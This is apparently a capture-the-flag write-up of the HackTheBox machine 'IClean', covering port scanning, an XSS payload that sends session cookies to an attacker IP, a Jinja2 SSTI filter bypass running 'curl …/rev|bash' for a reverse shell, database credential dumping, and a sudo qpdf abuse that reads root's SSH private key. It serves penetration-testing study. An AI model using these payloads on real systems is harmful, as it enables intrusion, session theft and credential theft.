IClean

Recon

nmap_scan.log
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ¬フ

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.12:22
Open 10.10.11.12:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.10.11.12
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-18 16:24 UTC
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 16:24
Completed Parallel DNS resolution of 1 host. at 16:24, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 16:24
Scanning 10.10.11.12 [2 ports]
Discovered open port 22/tcp on 10.10.11.12
Discovered open port 80/tcp on 10.10.11.12
Completed Connect Scan at 16:24, 0.84s elapsed (2 total ports)
Initiating Service scan at 16:24
Scanning 2 services on 10.10.11.12
Completed Service scan at 16:24, 6.38s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.12.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 3.95s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.69s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Nmap scan report for 10.10.11.12
Host is up, received user-set (0.84s latency).
Scanned at 2024-05-18 16:24:06 UTC for 13s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 2cf90777e3f13a36dbf23b94e3b7cfb2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG6uGZlOYFnD/75LXrnuHZ8mODxTWsOQia+qoPaxInXoUxVV4+56Dyk1WaY2apshU+pICxXMqtFR7jb3NRNZGI4=
|   256 4a919ff274c04181524df1ff2d01786b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJBnDPOYK91Zbdj8B2Q1MzqTtsc6azBJ+9CMI2E//Yyu
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:24
Completed NSE at 16:24, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds
└─$ grep clean /etc/hosts
10.10.11.12     capiclean.htb

HTTP (80)

Writeup.png

We have few pages to browse

Choose page gives us option to get a quote, form usually means we can inject something

Writeup-1.png

XSS

After sending the email we get message that our email will be seen by management team

Writeup-2.png

I first tried XSS on email field, but it didn't work. After trying it on different field like service we got a callback

Payload:

<img src='http://10.10.16.74/' onerror='fetch("http://10.10.16.74?c="+document.cookie)' />
Writeup-3.png
10.10.11.12 - - [01/Aug/2024 00:31:03] "GET /?session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqsI1Q.5kq0xb1x-X0KbJFGVLS_4qCWbyw HTTP/1.1" 200 -

Assign the cookie to your session to become the user whose cookie we stole.

First I tried going to Login, but it didn't redirect me to anywhere. Without directory enumeration I tried Dashboard and we got in, as it is one of the most common endpoint after login.

/dashboard

Writeup-4.png
Writeup-5.png

Submit link and get report:

Writeup-6.png

SSTI

The generated report comes from Python server, so SSTI is somewhat guaranteed

Writeup-7.png

Automate the QR shinanigans:

from PIL import Image
from io import BytesIO
from pyzbar.pyzbar import decode
import requests
from bs4 import BeautifulSoup as BS


def decode_qr(url: str) -> str:
    return decode(Image.open(BytesIO(requests.get(url).content)))[0].data.decode()


def get_fields(url: str) -> str:
    html = BS(requests.get(url).text, 'html.parser')
    service = html.find_all('tr')[1].text.strip()
    project = html.find('div', {'id': 'project'}).text
    return f'{service}\n{project}'

class Routes:
    BASE = 'http://capiclean.htb'
    INVOICE = BASE + '/InvoiceGenerator'
    QR = BASE + '/QRGenerator'


COOKIES = dict(
    session='eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.ZqsI1Q.5kq0xb1x-X0KbJFGVLS_4qCWbyw'
)

with requests.Session() as session:
    payload = {
        'selected_service': '{{7*7}}',
        'qty': '{{6*6}}',
        'project': '{{5*5}}',
        'client': '{{4*4}}',
        'address': '{{3*3}}',
        'email-address': '{{2*2}}',
        'price': 'uwu'
    }
    resp = session.post(Routes.INVOICE, data=payload, cookies=COOKIES)
    invoice_id = BS(resp.text, 'html.parser').find('h1').text.split()[-1]
    payload = {
        'form_type': 'invoice_id',
        'invoice_id': invoice_id
    }
    resp = session.post(Routes.QR, data=payload, cookies=COOKIES)
    qr_url = BS(resp.text, 'html.parser').find('div', class_='qr-link').find('a')['href']
    invoice_url = decode_qr(qr_url)
    print(f'Invoice: {invoice_url}')
    fields = get_fields(invoice_url)
    print(fields)

But it's not successful, nor was XSS

└─$ py qr.py
Invoice: http://capiclean.htb/QRInvoice/invoice_3679138642.html
Workmanship

$39.99
10
$399.99

PROJECT 55
CLIENT 44
ADDRESS 33
EMAIL 22

Any special character is filtered out right away.

QR Link

Inspecting the url we see qr_link variable and then qr-code html element rendered as base64 image

Writeup-9.png

Fuzz the parameter and it gets reflected:

Writeup-8.png

Performing SSTI on the qr_link is successful!

Writeup-10.png

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python

After some fuzzing we determine that application doesn't like __ in the parameter

Crash: {{ cycler.__init__.__globals__.os.popen('id').read() }}
Good: {{cycler}}
Crash: {{cycler.__init__}}
Crash: {{cycler|attr('__init__')}}
Good: {{cycler|attr('_''_init_''_')}}

{% end_raw %}

Writeup-11.png

Test script: src

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
    if c := request.args.get('c'):
        try:
            if '__' in c or '.' in c: return 'NEEEEEE'
            else: return render_template_string(c)
        except Exception as e: return str(e)
    else: return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
    app.run(host='0.0.0.0')

. was also blocked, which made the injection a bit harder

{{cycler|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')('_''_builtins_''_')|attr('_''_getitem_''_')('_''_import_''_')('os')|attr('popen')("curl+10.10.14.37/rev|bash")}}

Note: Piping to sh didn't work?...

Reverse Shell (www-data)

└─$ listen
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.12:40186.
bash: cannot set terminal process group (1244): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ cat app.py
...
import pymysql
...
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
...
www-data@iclean:/opt/app$ ls /home
consuela
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' -e 'SHOW DATABASES;'
Database
capiclean
information_schema
performance_schema
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' capiclean -e 'SHOW TABLES;'
Tables_in_capiclean
quote_requests
services
users
www-data@iclean:/opt/app$ mysql -u iclean -p'pxCsmnGLckUb' capiclean -e 'SELECT * FROM users;'
id      username        password        role_id
1       admin   2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51        21232f297a57a5a743894a0e4a801fc3
2       consuela        0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa        ee11cbb19052e40b07aac0ca060c23ee
Writeup-12.png

SSH (22)

User.txt

consuela@iclean:~$ cat user.txt
a6fbf50e9e23838f9af7701139dbc25a

Privilege Escalation

consuela@iclean:~$ sudo -l
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

GTFOBins didn't have this binary, so look into the official docs: https://qpdf.readthedocs.io/en/stable/cli.html

consuela@iclean:~$ sudo /usr/bin/qpdf --empty /home/consuela/id_rsa --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ grep -Poz '(?s)----.*----\n' id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQMb6Wn/o1SBLJUpiVfUaxWHAE64hBN
vX1ZjgJ9wc9nfjEqFS+jAtTyEljTqB+DjJLtRfP4N40SdoZ9yvekRQDRAAAAqGOKt0ljir
dJAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAxvpaf+jVIEslSm
JV9RrFYcATriEE29fVmOAn3Bz2d+MSoVL6MC1PISWNOoH4OMku1F8/g3jRJ2hn3K96RFAN
EAAAAgK2QvEb+leR18iSesuyvCZCW1mI+YDL7sqwb+XMiIE/4AAAALcm9vdEBpY2xlYW4B
AgMEBQ==
-----END OPENSSH PRIVATE KEY-----
└─$ ssh root@10.10.11.12 -i root.id_rsa
root@iclean:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@iclean:~# cat root.txt
e33a194e6f9375a86e75952e3af69873

Root scripts

root@iclean:~# cat scripts/cleanup.sh
/usr/bin/mysql -h localhost -u iclean --password='pxCsmnGLckUb' -D capiclean < /root/scripts/cleanup.sql
/usr/bin/rm /opt/app/templates/invoice_*.html
/usr/bin/rm /opt/app/static/qr_code/qr_code*
/usr/bin/rm /opt/app/templates/temporary.html
root@iclean:~# cat scripts/cleanup.sql
TRUNCATE TABLE capiclean.users; INSERT IGNORE INTO capiclean.users (id, username, password, role_id) VALUES("1", "admin", sha2("KQNdIDw9nHyGNdQcKQNdIDw9nHyGNdQc", 256), md5("admin")); INSERT IGNORE INTO capiclean.users (id, username, password, role_id) VALUES("2", "consuela", sha2("simple and clean", 256), md5("user"));
TRUNCATE TABLE capiclean.quote_requests;
TRUNCATE TABLE capiclean.services;
insert into capiclean.services (service_id, service_name, service_description, service_price, service_qty) VALUES ("1", "Basic Cleaning", "This service includes basic cleaning tasks such as dusting, vacuuming, mopping, and cleaning of surfaces. It's ideal for a quick clean-up of your home or office.", "137.00", "89");
...

Last updated